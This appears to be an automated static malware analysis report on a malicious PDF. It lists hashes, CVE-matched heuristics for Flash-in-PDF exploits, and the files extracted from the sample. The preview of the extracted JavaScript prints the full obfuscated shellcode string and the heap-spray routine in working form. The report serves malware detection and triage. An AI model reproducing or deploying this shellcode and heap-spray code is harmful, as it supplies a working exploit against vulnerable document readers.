Malicious PDF — malware analysis report

Static analysis result for SHA-256 8a4b4c66cb42dc80…

MALICIOUS

PDF

306.0 KB Created: 2010-06-11 11:09:09 +08:00 Authoring application: Writer (via OpenOffice.org 3.0) First seen: 2026-05-10
MD5: 6302d3f683d5c45f4c18b9f8b176c8c1 SHA-1: aec12ce6676d087567e577587fdb7cc7f59e8f46 SHA-256: 8a4b4c66cb42dc80e81ce8c9938402dbb7e1e87a8d97f07fa4fbbfff566ecef2
500 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains embedded Flash content that exploits multiple known vulnerabilities (CVE-2011-0611, CVE-2009-1862, CVE-2010-3654) to achieve code execution. The embedded JavaScript further aids in this process by utilizing heap spray techniques and the unescape function, likely to prepare for or deliver a secondary payload. The presence of these exploit indicators strongly suggests a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 0.8579

Heuristics 13

  • Adobe Flash Player RichMedia exploit critical CVE likely CVE_2011_0611_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation with an embedded AS3 SWF loader (ByteArray/loadBytes) and shellcode heap-spray staging. This is the static exploit shape associated with CVE-2011-0611 Flash content delivered through Adobe Reader.
  • Adobe Flash/authplay SWF exploit in PDF — CVE-2009-1862 critical CVE likely CVE_2009_1862_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an embedded SWF, and PDF-side shellcode heap-spray staging. This matches the 2009 authplay.dll Flash-in-PDF exploit delivery shape even when the SWF bytecode does not expose stable printable Run_Sploit markers.
  • Adobe Reader authplay SWF exploit in PDF — CVE-2010-3654 critical CVE likely CVE_2010_3654_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an ActionScript 3 SWF containing DoABC/SymbolClass code with URLRequest or StagePlayer/ByteArray/loadBytes markers, and PDF-side shellcode heap-spray staging. This is the static delivery shape associated with CVE-2010-3654 Adobe Reader/Acrobat authplay Flash handling.
  • Flash ActionScript-3 exploit loader in PDF critical CVE related PDF_FLASH_AS3_EXPLOIT_LOADER
    An embedded Flash (SWF) object's ActionScript-3 bytecode contains exploit-loader primitives: decompressing an inner SWF into a ByteArray and executing it via LoaderContext.allowLoadBytesCodeExecution, and/or Vector heap/JIT spray groomers. Benign Flash content does not load and execute code from raw bytes — this is a staged Flash exploit delivered through the document.
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc = unescape(urpl("%Z0c0c%Z0c0c%Z4919%Z0700%Zcccc%Zcccc%Z48ef%Z0700%Z156f%Z0700%Zcccc%Zcccc%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9033%Z0700%Z9084%Z0700%Z0c0c%Z0c0c%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z1599%Z0700%Z0124%Z0001%Z72f7%Z0700%Z0104%Z0001%Z15bb%Z0700%Z1000%Z0000%Z154d%Z0700%Z15bb%Z0700%Z0300%Z7ffe%Z7fb2%Z0700%Z15bb%Z0700%Z0011%Z0001%Za8ac%Z0700%Z15bb%Z0700%Z0100%Z0001%Za8ac%Z0700%Z72f7%Z …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector (matched inside decoded stream)
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload (matched inside decoded stream)
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comhttp://www.monotype.com/html/type/license.html In extracted file (font_00_sfnt_off0001c1d6.bin)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn extracted file (font_00_sfnt_off0001c1d6.bin)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj-001_000.js pdf-javascript-stream PDF /JS object -1 at offset 0x372 3386 bytes
SHA-256: 670738457013cd155af79429ddda5dedaad3bec932e5cc66d0947d872b7700fd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function CRTYU()   
{   
	var keyu= "u";
	var a = "\x6D\x65\x64";
	var b = "\x73\x75\x62\x73";
	var c = "\x69\x61";
	var re = /Z/g;
	var sc = "\xff\xcc\x84"
	sc = sc.replace(re,keyu);
    this._strings = new Array;   
}   
  
CRTYU.prototype.append = function(str)   
{   
    this._strings.push(str);   
    return this;   
}   
  
CRTYU.prototype.toString = function()   
{   
    return this._strings.join("");   
}   
  

CRTYU.prototype.length = function()   
{   
    var str = this._strings.join("");   
    return str.length;   
}   

function urpl(sc){
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
return sc;
}

var sc = unescape(urpl("%Z0c0c%Z0c0c%Z4919%Z0700%Zcccc%Zcccc%Z48ef%Z0700%Z156f%Z0700%Zcccc%Zcccc%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9033%Z0700%Z9084%Z0700%Z0c0c%Z0c0c%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z1599%Z0700%Z0124%Z0001%Z72f7%Z0700%Z0104%Z0001%Z15bb%Z0700%Z1000%Z0000%Z154d%Z0700%Z15bb%Z0700%Z0300%Z7ffe%Z7fb2%Z0700%Z15bb%Z0700%Z0011%Z0001%Za8ac%Z0700%Z15bb%Z0700%Z0100%Z0001%Za8ac%Z0700%Z72f7%Z0700%Z0011%Z0001%Z52e2%Z0700%Z5c54%Z0700%Zffff%Zffff%Z0100%Z0001%Z0000%Z0000%Z0104%Z0001%Z1000%Z0000%Z0040%Z0000%Zd731%Z0700%Z15bb%Z0700%Z905a%Z9054%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zeb5a%Z5815%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z1a8b%Z1889%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zc083%Z8304%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z04c2%Zfb81%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z0c0c%Z0c0c%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zee75%Z05eb%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Ze6e8%Zffff%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z90ff%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z9090%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z9090%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zffff%Z90ff%Z154d%Z0700%Zd731%Z0700%Z112f%Z0700%Zc8d9%Z74d9%Zf424%Zecba%Zdee0%Z29dc%Z5fc9%Z37b1%Z5731%Z8314%Z1c03%Z243c%Z4e05%Zdcde%Z59ec%Zdcda%Ze0ec%Zb881%Zd04d%Zdcde%Z6bec%Zd09e%Z9067%Z71c2%Z8867%Z8dd6%Z9567%Z57e2%Zce98%Zdfa6%Zb619%Zaa55%Ze3cc%Zef2b%Za925%Z719f%Z25ef%Z07ed%Z5ee3%Ze4ce%Z941e%Z1dd6%Zed27%Z06dd%Z0bac%Ze72f%Z95f3%Z8239%Zbe67%Zdffa%Z8631%Zd055%Z6ba7%Zc080%Z3def%Zd855%Ze367%Z771b%Z02b5%Zef62%Z6337%Zd81d%Ze086%Z238d%Z1cbb%Zdbe5%Z1399%Z8357%Z7910%Z8e8c%Z9713%Z23da%Z1c9b%Z8b21%Z7914%Z9cb4%Ze084%Zdcce%Z1fec%Zd4a9%Z1fbe%Z2889%Za765%Zb626%Z6dec%Z2899%Z1fbc%Zd4a9%Z9713%Z2326%Z1c9b%Z8b21%Z6b1c%Zd091%Za767%Z1c26%Z94e4%Zec5e%Za050%Z2b3c%Zb713%Z3426%Z1fa1%Z2321%Z85fa%Zcc24%Z2ab8%Z4d71%Ze840%Zaa04%Z7b41%Z03a3%Z2708%Zdcda%Z19bb%Zdcde%Z564c%Zdcdd%Ze2d4%Zdcde"));

var nop = unescape("\x25\x750c0c\x25\x750c0c");
var TMP0 = new CRTYU();
while (nop["\x6c\x65\x6e\x67\x74\x68"] + 20 + 8 < 65536) 
{
  TMP0.append(nop);
  TMP0.append(nop);
  nop = TMP0.toString();
}

spt = nop["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, (0x0c0c-0x24)/2);
spt += sc;
spt += nop;
hack = spt["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, 65536/2);

var TMP = new CRTYU();
while(hack["\x6c\x65\x6e\x67\x74\x68"] < 0x80000) 
{
  TMP.append(hack);
  TMP.append(hack);
  hack = TMP.toString();
}

bullet = hack["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, 0x80000 - (0x1020-0x08) / 2);
var memory = new Array();
for (i=0;i<0x1f0;i++) 
{
  var TMP2 = new CRTYU();
  TMP2.append(bullet);
  TMP2.append("s");
  memory[i] = TMP2.toString();
}
objstm_0015_00.bin pdf-objstm-decoded PDF /ObjStm 15 0 obj (inflated) 912 bytes
SHA-256: cbd11d2ce487f41cb2e696adc35306d2f3d38b7de6eab25b0e0d07f05d693f12
font_00_sfnt_off0001c1d6.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1C1D6 24696 bytes
SHA-256: 94e6785c9f6d8ae590fa432a5c55bae4b210b2409228b3f589357326cf863ef4
font_01_sfnt_off0001f248.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1F248 52788 bytes
SHA-256: 537cc61f9ccea79b2fea5c0a3230b024e9de5dfec3c95e81063c6c9495ea796d
font_02_sfnt_off00027793.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x27793 105504 bytes
SHA-256: e427a31347d5d2afcfde38865362624589c93665bffcaf58132efff8f0ed095a
font_03_sfnt_off00035fba.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x35FBA 52536 bytes
SHA-256: 166aab8542c83a810c4389067476d34ce87cf068ef3fcfddf6370a2ab3b7b406
font_04_sfnt_off0003bc48.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x3BC48 98960 bytes
SHA-256: a5384ed614d40c80fff54646bfc0c4038e5a3b6c1bb5fb66e2a9d651eb80b198
polyglot_child_pdf_off00017b9f.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x17B9F 216133 bytes
SHA-256: 11cf994571d4e5f54dbeac5f0f4c5b7c93784df9c7b86f07726c283b16198b4f
polyglot_child_pdf_off0004aff7.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x4AFF7 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

Open this report in the interactive analyzer, or submit your own file for analysis.